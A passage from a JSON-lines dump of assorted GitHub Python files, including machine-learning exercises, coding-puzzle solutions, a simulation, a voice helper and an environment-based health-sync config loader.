np.divide(1-Y,1-AL)\r\n current_cache = caches[-1]\r\n grads[\"dA\"+str(L-1)],grads[\"dW\"+str(L)],grads[\"db\"+str(L)] = self.backwordLinearActivation(dAL,current_cache,activation=\"sigmoid\")\r\n for l in reversed(range(L-1)):\r\n current_cache = caches[l]\r\n dA_prev_temp, dW_temp, db_temp = self.backwordLinearActivation(grads[\"dA\"+str(l+1)], current_cache,activation=\"relu\")\r\n grads[\"dA\"+str(l)] = dA_prev_temp\r\n grads[\"dW\"+str(l+1)] = dW_temp\r\n grads[\"db\"+str(l+1)] = db_temp\r\n return grads\r\n\r\n def updateParameters(self,parameters,grads,learningRate):\r\n L = len(parameters)//2\r\n for l in range(L):\r\n parameters[\"W\"+str(l+1)] = parameters[\"W\"+str(l+1)]-learningRate*grads[\"dW\"+str(l+1)]\r\n parameters[\"b\"+str(l+1)] = parameters[\"b\"+str(l+1)]-learningRate*grads[\"db\"+str(l+1)]\r\n return parameters\r\n \r\n","repo_name":"Abhijeet709/Neural-Networks-from-Scratch","sub_path":"MultilayerNeuralNetwork.py","file_name":"MultilayerNeuralNetwork.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43183961930","text":"import json\nimport logging\nimport os\n\nimport boto3\n\nimport decimalencoder\nfrom todoTable import TodoTable\n\nDYNAMODB = boto3.resource('dynamodb')\nDYNAMODB_TABLE = os.environ['DYNAMODB_TABLE']\ntable = TodoTable(DYNAMODB_TABLE, DYNAMODB)\n\n\ndef update(event, context):\n data = json.loads(event['body'])\n if 'text' not in data or 'checked' not in data:\n logging.error(\"Validation Failed\")\n raise Exception(\"Couldn't update the todo item.\")\n\n item = table.update_todo(event.get('pathParameters').get('id'),\n text=data.get('text'),\n checked=data.get('checked'))\n\n # create a response\n response = {\n \"statusCode\": 200,\n \"body\": json.dumps(item,\n cls=decimalencoder.DecimalEncoder)\n }\n\n return response\n","repo_name":"JuanBrugera/UNIR-DevOps-CP1B","sub_path":"src/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37283081088","text":"#\n# @lc app=leetcode id=1688 lang=python3\n#\n# [1688] Count of Matches in Tournament\n#\n# https://leetcode.com/problems/count-of-matches-in-tournament/description/\n#\n# algorithms\n# Easy (84.29%)\n# Likes: 44\n# Dislikes: 5\n# Total Accepted: 6.6K\n# Total Submissions: 7.9K\n# Testcase Example: '7'\n#\n# You are given an integer n, the number of teams in a tournament that has\n# strange rules:\n# \n# \n# If the current number of teams is even, each team gets paired with another\n# team. A total of n / 2 matches are played, and n / 2 teams advance to the\n# next round.\n# If the current number of teams is odd, one team randomly advances in the\n# tournament, and the rest gets paired. A total of (n - 1) / 2 matches are\n# played, and (n - 1) / 2 + 1 teams advance to the next round.\n# \n# \n# Return the number of matches played in the tournament until a winner is\n# decided.\n# \n# \n# Example 1:\n# \n# \n# Input: n = 7\n# Output: 6\n# Explanation: Details of the tournament: \n# - 1st Round: Teams = 7, Matches = 3, and 4 teams advance.\n# - 2nd Round: Teams = 4, Matches = 2, and 2 teams advance.\n# - 3rd Round: Teams = 2, Matches = 1, and 1 team is declared the winner.\n# Total number of matches = 3 + 2 + 1 = 6.\n# \n# \n# Example 2:\n# \n# \n# Input: n = 14\n# Output: 13\n# Explanation: Details of the tournament:\n# - 1st Round: Teams = 14, Matches = 7, and 7 teams advance.\n# - 2nd Round: Teams = 7, Matches = 3, and 4 teams advance.\n# - 3rd Round: Teams = 4, Matches = 2, and 2 teams advance.\n# - 4th Round: Teams = 2, Matches = 1, and 1 team is declared the winner.\n# Total number of matches = 7 + 3 + 2 + 1 = 13.\n# \n# \n# \n# Constraints:\n# \n# \n# 1 <= n <= 200\n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def numberOfMatches(self, n: int) -> int:\n ans = 0\n while n > 1:\n if n % 2 == 0:\n n //= 2\n ans += n\n else:\n n = n // 2 + 1\n ans += n - 1\n\n return ans\n \n# @lc code=end\n\n","repo_name":"chenxu0602/LeetCode","sub_path":"1688.count-of-matches-in-tournament.py","file_name":"1688.count-of-matches-in-tournament.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"72181431206","text":"from Classes.Basic import *\nimport random\nfrom GlobalVar import *\nimport copy\n\n\nclass Herbivore(Basic):\n def __init__(self, posx, posy, genes, screen):\n super().__init__(posx, posy, genes, \"herbivore\", screen)\n self.energy = 500\n self.collisions = []\n self.hasReproduced = False\n if len(self.genes) != 10:\n self.RandomGenes()\n\n def RandomGenes(self):\n self.genes.clear()\n for x in range(10):\n self.genes.append(random.randint(0, 3))\n\n def Turn(self):\n self.Move()\n self.GetCollisions()\n self.Eat()\n self.Draw()\n self.Reproduce()\n self.energy -= 1\n self.age += 1\n self.KillChecks()\n\n def KillChecks(self):\n if self.energy == 0:\n self.Kill()\n return\n if random.randint(self.age, 100) == 100:\n self.Kill()\n return\n\n def Draw(self):\n pygame.draw.rect(self.screen, \"brown\", (self.x * 20, self.y * 20, 20, 20))\n\n def Move(self):\n pygame.draw.rect(self.screen, \"white\", (self.x * 20, self.y * 20, 20, 20))\n if self.genes[random.randint(0, 9)] == 0:\n self.x += 1\n elif self.genes[random.randint(0, 9)] == 1:\n self.x -= 1\n elif self.genes[random.randint(0, 9)] == 2:\n self.y += 1\n else:\n self.y -= 1\n if self.x > 19:\n self.x = 0\n if self.x < 0:\n self.x = 19\n if self.y > 19:\n self.y = 0\n if self.y < 0:\n self.y = 19\n\n def GetCollisions(self):\n self.collisions.clear()\n for obj in organisms:\n if obj.x == self.x and obj.y == self.y:\n self.collisions.append(obj)\n\n def Eat(self):\n for obj in self.collisions:\n if obj.type == \"grass\":\n self.energy += obj.energy\n obj.Kill()\n\n def Reproduce(self):\n mate = None\n childgenes = []\n if self.energy > 10 and self.age > 10:\n for obj in self.collisions:\n if obj.type == \"herbivore\" and not obj.hasReproduced and obj.energy > 10 and self.age > 10:\n mate = obj\n break\n if mate is not None:\n sample1 = random.sample(self.genes, 5)\n sample2 = random.sample(mate.genes, 5)\n for x in range(len(sample1)):\n childgenes.append(sample1.pop())\n for x in range(len(sample2)):\n childgenes.append(sample2.pop())\n if random.randint(1, 100) == 100:\n childgenes.pop(random.randint(0, 9))\n childgenes.append(random.randint(0, 3))\n organisms.append(Herbivore(copy.copy(self.x), copy.copy(self.y), copy.copy(childgenes), self.screen))\n self.hasReproduced = True\n mate.hasReproduced = True\n childgenes.clear()\n sample1.clear()\n sample2.clear()\n","repo_name":"jmtayamada/EvolutionProject","sub_path":"Classes/Herbivore.py","file_name":"Herbivore.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30976015805","text":"# https://deeplearningcourses.com/c/machine-learning-in-python-random-forest-adaboost\n# https://www.udemy.com/machine-learning-in-python-random-forest-adaboost\nfrom __future__ import print_function, division\nfrom builtins import range, input\n# Note: you may need to update your version of future\n# sudo pip install -U future\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.ensemble import RandomForestRegressor, BaggingRegressor, RandomForestClassifier, BaggingClassifier\nfrom util import BaggedTreeRegressor, BaggedTreeClassifier\n\n# make simple regression data\nN = 15\nD = 100\nX = (np.random.random((N, D)) - 0.5)*10\nY = X.sum(axis=1)**2 + 0.5*np.random.randn(N)\nNtrain = N//2\nXtrain = X[:Ntrain]\nYtrain = Y[:Ntrain]\nXtest = X[Ntrain:]\nYtest = Y[Ntrain:]\n\n# from rf_classification import get_data\n# X, Y = get_data()\n# Ntrain = int(0.8*len(X))\n# Xtrain, Ytrain = X[:Ntrain], Y[:Ntrain]\n# Xtest, Ytest = X[Ntrain:], Y[Ntrain:]\n\n# from rf_regression import get_data\n# Xtrain, Ytrain, Xtest, Ytest = get_data()\n\nT = 300\ntest_error_rf = np.empty(T)\ntest_error_bag = np.empty(T)\nfor num_trees in range(T):\n if num_trees == 0:\n test_error_rf[num_trees] = None\n test_error_bag[num_trees] = None\n else:\n rf = RandomForestRegressor(n_estimators=num_trees)\n # rf = RandomForestClassifier(n_estimators=num_trees)\n rf.fit(Xtrain, Ytrain)\n test_error_rf[num_trees] = rf.score(Xtest, Ytest)\n\n bg = BaggedTreeRegressor(n_estimators=num_trees)\n # bg = BaggedTreeClassifier(n_estimators=num_trees)\n bg.fit(Xtrain, Ytrain)\n test_error_bag[num_trees] = bg.score(Xtest, Ytest)\n\n if num_trees % 10 == 0:\n print(\"num_trees:\", num_trees)\n\nplt.plot(test_error_rf, label='rf')\nplt.plot(test_error_bag, label='bag')\nplt.legend()\nplt.show()\n","repo_name":"lazyprogrammer/machine_learning_examples","sub_path":"supervised_class2/rf_vs_bag.py","file_name":"rf_vs_bag.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":7794,"dataset":"github-code","pt":"52"} +{"seq_id":"2288989448","text":"import speech_recognition as sr\nimport pyttsx3\n# import pywhatkit\nimport datetime\n\nimport random\n\nlistener = sr.Recognizer()\nengine = pyttsx3.init()\nvoices = engine.getProperty(\"voices\")\nengine.setProperty(\"voice\", voices[1].id)\n\n\ndef talk():\n repeat_list = [\n \"Come Again\",\n \"Say that again please\",\n \"What did you say?\",\n \"Could you please repeat yourself\",\n \"Sorry I didnt hear that\",\n ]\n text = random.choice(repeat_list)\n engine.say(text)\n engine.runAndWait()\n\n\ndef take_command():\n # while True:\n try:\n with sr.Microphone() as source:\n print(\"listening...\")\n voice = listener.listen(source)\n command = listener.recognize_google(voice)\n command = command.lower()\n if \"jesus\" in command:\n command = command.replace(\"jesus\", \"\")\n # print(command)\n return command\n else:\n return \"none\"\n except:\n return \"none\"\n # pass\n\n\n# talk(random.choice(repeat_list))\n\n# def run_ipa():\n# command = take_command()\n\n# if \"time\" in command:\n# time = datetime.datetime.now().strftime(\"%I:%M %p\")\n# talk(\"The current time is \" + time)\n\n# else:\n# repeat_list = [\n# \"Come Again\",\n# \"Say that again please\",\n# \"What did you say?\",\n# \"Could you please repeat yourself\",\n# \"Sorry I didnt hear that\",\n# ]\n# talk(random.choice(repeat_list))\n\n\n# def main():\n# run_ipa()\n# # while True:\n# # run_ipa()\n","repo_name":"noahvendrig/hunt_the_wumpus_mod","sub_path":"junk/voice.py","file_name":"voice.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5239443405","text":"import re\nimport just\nimport pandas\nfrom nostalgia.times import datetime_from_timestamp\nfrom nostalgia.sources.facebook import Facebook\nfrom nostalgia.interfaces.post import PostInterface\n\n\nclass FacebookPosts(Facebook, PostInterface):\n @classmethod\n def handle_json(cls, data):\n posts = []\n for post in data:\n if \"data\" not in post or not isinstance(post[\"data\"], list):\n continue\n location = \"self\"\n title = post.get(\"title\", \"\")\n location_res = re.findall(\"(?:on|to) ([^']+)'s? [tT]imeline|posted in ([^.]+)|was with ([^.]+)[.]$\", title)\n if location_res:\n location = [x for x in location_res[0] if x][0]\n for x in post[\"data\"]:\n if \"post\" not in x:\n continue\n row = {\n \"location\": location,\n \"title\": x[\"post\"],\n \"time\": datetime_from_timestamp(post[\"timestamp\"]),\n }\n posts.append(row)\n return posts\n\n @classmethod\n def load(cls, nrows=None):\n data = cls.load_json_file_modified_time(\"~/nostalgia_data/input/facebook/posts/your_posts_1.json\")\n return cls(data)\n","repo_name":"nostalgia-dev/nostalgia","sub_path":"nostalgia/sources/facebook/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"52"} +{"seq_id":"72055631205","text":"import numpy as np\n\nimport DecisionTreeClassifier\n\nclass RandomForestClassifier:\n \"\"\"\n Random Forest Classifier.\n\n This class implements a random forest classifier, which is an ensemble learning method that combines multiple decision trees to make predictions.\n\n Parameters:\n - n_estimators (int): The number of decision trees in the random forest.\n - max_depth (int): The maximum depth of each decision tree. If None, the decision trees will be grown until all leaves are pure or until all leaves contain min_samples_split samples.\n - min_samples_split (int): The minimum number of samples required to split an internal node in each decision tree.\n\n Attributes:\n - n_estimators (int): The number of decision trees in the random forest.\n - max_depth (int): The maximum depth of each decision tree.\n - min_samples_split (int): The minimum number of samples required to split an internal node in each decision tree.\n - estimators (list): A list of decision trees in the random forest.\n\n Methods:\n - fit(X, y): Fit the random forest to the training data.\n - predict(X): Make predictions for new data.\n\n Example usage:\n clf = RandomForestClassifier(n_estimators=100, max_depth=5)\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n \"\"\"\n\n def __init__(self, n_estimators=100, max_depth=None, min_samples_split=2):\n \"\"\"\n Initialize the Random Forest Classifier.\n\n Parameters:\n - n_estimators (int): The number of decision trees in the random forest.\n - max_depth (int): The maximum depth of each decision tree. If None, the decision trees will be grown until all leaves are pure or until all leaves contain min_samples_split samples.\n - min_samples_split (int): The minimum number of samples required to split an internal node in each decision tree.\n\n This method initializes the random forest classifier with the specified parameters. It sets the number of decision trees, maximum depth, minimum samples to split, and creates an empty list to store the decision tree estimators.\n \"\"\"\n self.n_estimators = n_estimators\n self.max_depth = max_depth\n self.min_samples_split = min_samples_split\n self.estimators = []\n\n def fit(self, X, y):\n \"\"\"\n Fit the random forest to the training data.\n\n Parameters:\n - X (ndarray): The input features of the training data.\n - y (ndarray): The target values of the training data.\n\n This method fits the random forest to the provided training data. It creates `n_estimators` decision trees, each trained on a bootstrap sample with replacement. Each decision tree is created using the `DecisionTreeClassifier` class with the specified `max_depth` and `min_samples_split` parameters. The trained decision trees are added to the `estimators` list.\n \"\"\"\n n_samples, n_features = X.shape\n for i in range(self.n_estimators):\n # Bootstrap sample with replacement\n idx = np.random.choice(n_samples, n_samples, replace=True)\n X_boot = X[idx]\n y_boot = y[idx]\n # Create decision tree\n tree = DecisionTreeClassifier(max_depth=self.max_depth, min_samples_split=self.min_samples_split)\n tree.fit(X_boot, y_boot)\n # Add tree to list of estimators\n self.estimators.append(tree)\n\n def predict(self, X):\n \"\"\"\n Make predictions for new data.\n\n Parameters:\n - X (ndarray): The input features of the new data.\n\n Returns:\n - y_pred (ndarray): The predicted target values for the new data.\n\n This method makes predictions for the provided new data by aggregating the predictions of each decision tree in the random forest. The final prediction is determined by taking the majority vote of the predictions from all decision trees. If the number of positive predictions is equal to or greater than half the number of estimators, the target value is assigned as 1; otherwise, it is assigned as 0.\n \"\"\"\n y_pred = np.zeros(X.shape[0])\n for estimator in self.estimators:\n y_pred += estimator.predict(X)\n return (y_pred >= (len(self.estimators) / 2)).astype(int)\n","repo_name":"mdaniyalk/ml-scratch","sub_path":"random_forest_classifier.py","file_name":"random_forest_classifier.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"38989641299","text":"# Usando elif e o operador AND\nnome = input('Digite o nome: ')\nidade = int(input('Digite a idade: ')) \ndoenca_infectocontagiosa = input('Suspeita de doença infectocontagiosa? ').upper()# Converte a string para maiúscula\n\nif idade >= 65 and doenca_infectocontagiosa == 'SIM':\n print('O (a) paciente ' + nome + ' deve ser direcionado para sala de espera reservada!')\n\nelif idade >= 65 and doenca_infectocontagiosa == 'NÃO':\n print('O (a) paciente ' + nome + ' possui atendimento prioritário!')\n\nelif idade < 65 and doenca_infectocontagiosa == 'SIM':\n print('O (a) paciente ' + nome + ' deve ser direcionado para sala de espera reservada!')\n\nelse:\n print('O (a) paciente ' + nome + ' não tem atendimento prioritário e pode aguardar na sala comum!')\n\n '''\n PROBLEMA RESOLVIDO\n Se o paciente tiver idade >= 65 e doença contagiosa ele recebe \natendimento prioritário e vai para sala reservada.\n\n '''","repo_name":"MarcosSouzaa/python-fiap","sub_path":"2_decisoes/2_decisao_elif.py","file_name":"2_decisao_elif.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30907307829","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n# Recursive Solution\nclass Solution:\n def invert(self, root):\n if not root:\n return\n root.left, root.right = root.right, root.left\n self.invert(root.left)\n self.invert(root.right)\n return root\n \n def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]:\n return self.invert(root)\n\n# Iterative Solution\nclass Solution:\n def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]:\n if not root:\n return root\n \n queue = []\n queue.append(root)\n \n while queue:\n node = queue.pop(0)\n # invert\n node.left, node.right = node.right, node.left\n # push left and right nodes into the queue\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n \n return root","repo_name":"chengtianle1997/Leetcoder","sub_path":"Tree/226. Invert Binary Tree.py","file_name":"226. Invert Binary Tree.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41880455358","text":"N,X,M=list(map(int,input().split()))\norders = [-1]*M\nhistories = []\nrounds=[]\nans = 0\nnow = X\nfor i in range(N):\n if orders[now]!= -1:\n for j in range(orders[now],i):\n rounds.append(histories[j])\n break\n orders[now]= i\n histories.append(now)\n ans+=now\n now = now**2%M\nleft = N-len(histories)\nif left == 0:\n print(ans)\n exit()\nadd_list=[0]*(len(rounds)+1)\nfor i in range(len(rounds)):\n add_list[i+1] = add_list[i] + rounds[i]\nans += add_list[len(rounds)] * (left // len(rounds)) + add_list[left%len(rounds)]\nprint(ans)","repo_name":"tokumaru-y/competitive_program_python","sub_path":"atcoder/contested/179/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"439084610","text":"#!/usr/bin/python3\r\n\"\"\"\r\n Load .env file and environment settings\r\n\"\"\"\r\nimport os\r\nimport sys\r\n\r\n\r\nfrom dotenv import load_dotenv\r\n\r\ndotenv_path = os.path.join(os.path.dirname(__file__), 'env.env')\r\nload_dotenv(dotenv_path)\r\n\r\n## used services\r\nuse_service_intervals = os.getenv('service_intervals')\r\nuse_service_withings = os.getenv('service_whithings')\r\nuse_service_garmin = os.getenv('service_garmin')\r\nuse_service_matlab = os.getenv('service_matlab')\r\nuse_service_wahoo = os.getenv('service_wahoo')\r\nuse_service_strava = os.getenv('service_strava')\r\n\r\n## Withings api credentials\r\nwithings_client_id = os.getenv('withings_client_id')\r\nwithings_client_secret = os.getenv('withings_client_secret')\r\nwithings_redirect_uri = os.getenv('withings_redirect_uri')\r\n\r\nwithings_cfg=os.path.join(os.path.dirname(__file__), 'withings.json')\r\nwithings_api='https://wbsapi.withings.net/v2'\r\n\r\nwithings_delta=(int(os.getenv('withings_delta'))-1) #0-based\r\n\r\n## intervals.icu api credentials\r\nintervals_athlete_id = os.getenv('intervals_athlete_id')\r\nintervals_api_key = os.getenv('intervals_api_key')\r\nintervals_api = 'https://intervals.icu/api/v1/athlete/%s' % intervals_athlete_id\r\n\r\n## intervals Fields\r\nintervals_weight_field = os.getenv('intervals_weight_field')\r\nif (intervals_weight_field == ''):\r\n intervals_weight_field = None\r\nintervals_bodyfat_field = os.getenv('intervals_bodyfat_field')\r\nif (intervals_bodyfat_field == ''):\r\n intervals_bodyfat_field = None\r\nintervals_diastolic_field = os.getenv('intervals_diastolic_field')\r\nif (intervals_diastolic_field == ''):\r\n intervals_diastolic_field = None\r\nintervals_systolic_field = os.getenv('intervals_systolic_field')\r\nif (intervals_systolic_field == ''):\r\n intervals_systolic_field = None\r\nintervals_temperature_field = os.getenv('intervals_temperature_field')\r\nif (intervals_temperature_field == ''):\r\n intervals_temperature_field = None\r\nintervals_steps_field = os.getenv('intervals_steps_field')\r\nif (intervals_steps_field == ''):\r\n intervals_steps_field = None\r\nintervals_sleepTimeseconds_field = os.getenv('intervals_sleepTimeseconds_field')\r\nif (intervals_sleepTimeseconds_field == ''):\r\n intervals_sleepTimeseconds_field = None\r\nintervals_deepSleepSeconds_field = os.getenv('intervals_deepSleepSeconds_field')\r\nif (intervals_deepSleepSeconds_field == ''):\r\n intervals_deepSleepSeconds_field = None\r\nintervals_lightSleepSeconds_field = os.getenv('intervals_lightSleepSeconds_field')\r\nif (intervals_lightSleepSeconds_field == ''):\r\n intervals_lightSleepSeconds_field = None\r\nintervals_remSleepSeconds_field = os.getenv('intervals_remSleepSeconds_field')\r\nif (intervals_remSleepSeconds_field == ''):\r\n intervals_remSleepSeconds_field = None\r\nintervals_awakeSleepSeconds_field = os.getenv('intervals_awakeSleepSeconds_field')\r\nif (intervals_awakeSleepSeconds_field == ''):\r\n intervals_awakeSleepSeconds_field = None\r\nintervals_sleepscore_field = os.getenv('intervals_sleepscore_field')\r\nif (intervals_sleepscore_field == ''):\r\n intervals_sleepscore_field = None\r\nintervals_sleepquality_field = os.getenv('intervals_sleepquality_field')\r\nif (intervals_sleepquality_field == ''):\r\n intervals_sleepquality_field = None\r\nintervals_averageSpO2HRSleep_field = os.getenv('intervals_averageSpO2HRSleep_field')\r\nif (intervals_averageSpO2HRSleep_field == ''):\r\n intervals_averageSpO2HRSleep_field = None\r\nintervals_averageSpO2Value_field = os.getenv('intervals_averageSpO2Value_field')\r\nif (intervals_averageSpO2Value_field == ''):\r\n intervals_averageSpO2Value_field = None\r\nintervals_restingHeartRate_field = os.getenv('intervals_restingHeartRate_field')\r\nif (intervals_restingHeartRate_field == ''):\r\n intervals_restingHeartRate_field = None\r\nintervals_stress_field = os.getenv('intervals_stress_field')\r\nif (intervals_stress_field == ''):\r\n intervals_stress_field = None\r\nintervals_mood_field = os.getenv('intervals_mood_field')\r\nif (intervals_mood_field == ''):\r\n intervals_mood_field = None\r\nintervals_fatigue_field = os.getenv('intervals_fatigue_field')\r\nif (intervals_fatigue_field == ''):\r\n intervals_fatigue_field = None\r\nintervals_floors_field = os.getenv('intervals_floors_field')\r\nif (intervals_floors_field == ''):\r\n intervals_floors_field = None\r\nintervals_alcohol_field = os.getenv('intervals_alcohol_field')\r\nif (intervals_alcohol_field == ''):\r\n intervals_alcohol_field = None\r\nintervals_averageRespiration_field = os.getenv('intervals_averageRespiration_field')\r\nif (intervals_averageRespiration_field == ''):\r\n intervals_averageRespiration_field = None\r\nintervals_StressScore_field = os.getenv('intervals_StressScore_field')\r\nif (intervals_StressScore_field == ''):\r\n intervals_StressScore_field = None\r\nintervals_consumedCalories_field = os.getenv('intervals_consumedCalories_field')\r\nif (intervals_consumedCalories_field == ''):\r\n intervals_consumedCalories_field = None\r\nintervals_activeCalories_field = os.getenv('intervals_activeCalories_field')\r\nif (intervals_activeCalories_field == ''):\r\n intervals_activeCalories_field = None\r\nintervals_netCalorieGoal_field = os.getenv('intervals_netCalorieGoal_field')\r\nif (intervals_netCalorieGoal_field == ''):\r\n intervals_netCalorieGoal_field = None\r\nintervals_CalorieGoal_field = os.getenv('intervals_CalorieGoal_field')\r\nif (intervals_CalorieGoal_field == ''):\r\n intervals_CalorieGoal_field = None\r\nintervals_GoalConsumedDifferenceCalories_field = os.getenv('intervals_GoalConsumedDifferenceCalories_field')\r\nif (intervals_GoalConsumedDifferenceCalories_field == ''):\r\n intervals_GoalConsumedDifferenceCalories_field = None\r\n\r\n## Strava api credentials\r\nstrava_athlete_id = os.getenv('strava_athlete_id')\r\nstrava_client_secret = os.getenv('strava_client_secret')\r\nstrava_cfg=os.path.join(os.path.dirname(__file__), 'strava.json')\r\nstrava_url='https://www.strava.com/oauth'\r\nstrava_api='https://www.strava.com/api/v3'\r\n\r\n## Wahoo API access\r\nwahoo_client_id = os.getenv('wahoo_client_id')\r\nwahoo_secret = os.getenv('wahoo_secret')\r\nwahoo_redirect_uri = os.getenv('wahoo_redirect_uri')\r\nwahoo_api='https://api.wahooligan.com'\r\nwahoo_cfg=os.path.join(os.path.dirname(__file__), 'wahoo.json')\r\nwahoo_scopes='user_write+email+workouts_read+workouts_write+power_zones_read+power_zones_write+offline_data+user_read'\r\n\r\n## Garmin credentials\r\ngarmin_email = os.getenv('garmin_email')\r\ngarmin_password = os.getenv('garmin_password')\r\ngarmin_cfg=os.path.join(os.path.dirname(__file__), 'garmin.json')\r\n","repo_name":"Tronje-the-Falconer/multiplatform-health-sync","sub_path":"opt/multiplatform-health-sync/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"30831524967","text":"from optimism.JaxConfig import *\nimport csv\nfrom matplotlib import pyplot as plt\n\n\nalRes = np.load('al_residuals.npz')['data']\naltRes = np.load('alt_residuals.npz')['data']\n\n\nplt.semilogy(altRes, 'b')\nplt.semilogy(alRes,'r')\nplt.xlabel('iteration')\nplt.ylabel('residual norm')\nplt.legend(['alternating min', 'trust-region'])\nplt.savefig('res_compare.png')\n\n\n\n","repo_name":"btalami/optimism","sub_path":"examples/surfing_fracture/plot_res.py","file_name":"plot_res.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"33237383045","text":"import re\nfrom aria2cgeneric import generic_downloader\nfrom pathlib import Path\nimport pandas as pd\n\n\nclass thumb_writer:\n def __init__(self,csv_path='') -> None:\n if csv_path == '':\n self.csv_path = r'c:\\temp\\thumbs.csv'\n self.connections = 1\n if csv_path != '':\n self.csv_path = csv_path\n Path(self.csv_path).parent.mkdir(parents=True,exist_ok=True)\n if Path(self.csv_path).is_file():\n self.csv_data = pd.read_csv(self.csv_path)\n else:\n self.csv_data = pd.DataFrame(columns=['filename','associated_url'])\n\n def list_thumbnail_gen(self,img_urls,associated_urls,filenames):\n zipped_thumb = zip(img_urls,associated_urls,filenames)\n if len(img_urls) != len(associated_urls) or len(img_urls) != len(filenames):\n print(\"Error: img_urls, associated_urls, and filenames must be the same length\")\n breakpoint()\n for x in zipped_thumb:\n self.single_thumbnail_gen(x[0],x[1],x[2])\n self.thumbs_write()\n return\n\n def single_thumbnail_gen(self,img_url,associated_url,filename):\n if Path(filename).suffix != '.jpg':\n filename += '.jpg'\n filename = re.sub('[^0-9a-zA-Z\\.]+', '_', filename)\n generic_downloader(img_url,filename,filename,self.connections,str(Path(self.csv_path).parent))\n self.csv_data = self.csv_data.append({'filename':filename,'associated_url':associated_url},ignore_index=True)\n return\n \n def thumbs_write(self):\n self.csv_data.to_csv(self.csv_path,index=False)\n return","repo_name":"BeautyScraper/GalleryDownloader","sub_path":"thumbs.py","file_name":"thumbs.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32719450361","text":"#%%\n\nclass Kot:\n # def __init__(self, Imie, Kolor_oczu, Kolor_siersci, Dlugosc, Wysokosc, Wiek, Waga): # class constuctor - konstruktor uruchamia się przy starcie\n def __init__(self): # class constuctor - konstruktor uruchamia się przy starcie\n self.Imie = '' \n self.Kolor_oczu = ''\n self.Kolor_siersci = ''\n self.Dlugosc = 1\n self.Wysokosc = 1\n self.Wiek = 9\n self.Waga = 6\n\n def mialczenie(self):\n print('Miau !')\n return \"Miau\"\n\n def spanie(self):\n if self.Wiek == 10:\n print('śpi godzinę')\n elif self.Wiek>=10:\n print('śpi godzinę')\n \n def jedzenie(self):\n self.Waga += 10\n print('kot dobrze zjadł')\n\n def drapanie(self):\n if self.Waga >= 10:\n print('szkody są duże')\n else:\n print('szkody są małe')\n\n# Mialczenie, Jedzenie, Spanie, Drapanie, Mruczenie\n\n# kot1 = Kot('Puszek', 'Zielone', 'Szary', 1.05, 0.95, 5, 5)\n# kot2 = Kot('Okruszek', 'Zielono-szare', 'Bury', 0.75, 0.55, 3, 3)\n# print(szopa2.Pomaluj())\n\n","repo_name":"DariuszKupiec/kolko","sub_path":"KLASY/Kot_Z_Klasa/PierwszyKotzKlasa.py","file_name":"PierwszyKotzKlasa.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28518805536","text":"from simFunc import *\nimport sys\nimport openpyxl\n\n\nueNum = int(sys.argv[1])\ner = float(sys.argv[2])\nsht = int(sys.argv[3])\n\n# main procedure\np.rateEmbmsRs = er\nnewUE(ueNum)\nfor currTime in range(p.simTime):\n # create the UEs\n \"\"\"if not currTime % 1000:\n newUE(np.random.poisson(3))\"\"\"\n\n # a new CSA Period -> reset the MSA\n if p.eMBMS_triggerTime != -1 and not currTime % (p.csaPeriod*10) - p.eMBMS_triggerTime :\n p.MSA = copy.deepcopy(p.cost) # reset the amount of resource for each eMBMS session\n\n # ue changes the site\n if not currTime % 50:\n for ue in p.UeList:\n changeSite(ue)\n\n # create a sequential packets arrival event of a new video frame (25FPS video,i.e., 1 video frame per 40ms)\n if not currTime % 40 and currTime:\n for i in range(1, p.numSrv): # create the event of RT packets arriving\n buildEvent(i, currTime)\n\n # there are packets arrived at this moment\n while p.eventList.get(currTime):\n pktCret(p.eventList.pop(currTime))\n modfPara() # modify the scheduler's parameter\n\n # calculate resource allocation priority for each UE\n for i in range(len(p.UeList)):\n if p.UeList[i].buffLen: # to assign the priority to UE having transmission requirement\n p.priority[i] = ExpPf(p.UeList[i])\n\n # assign resource to eMBMS\n if 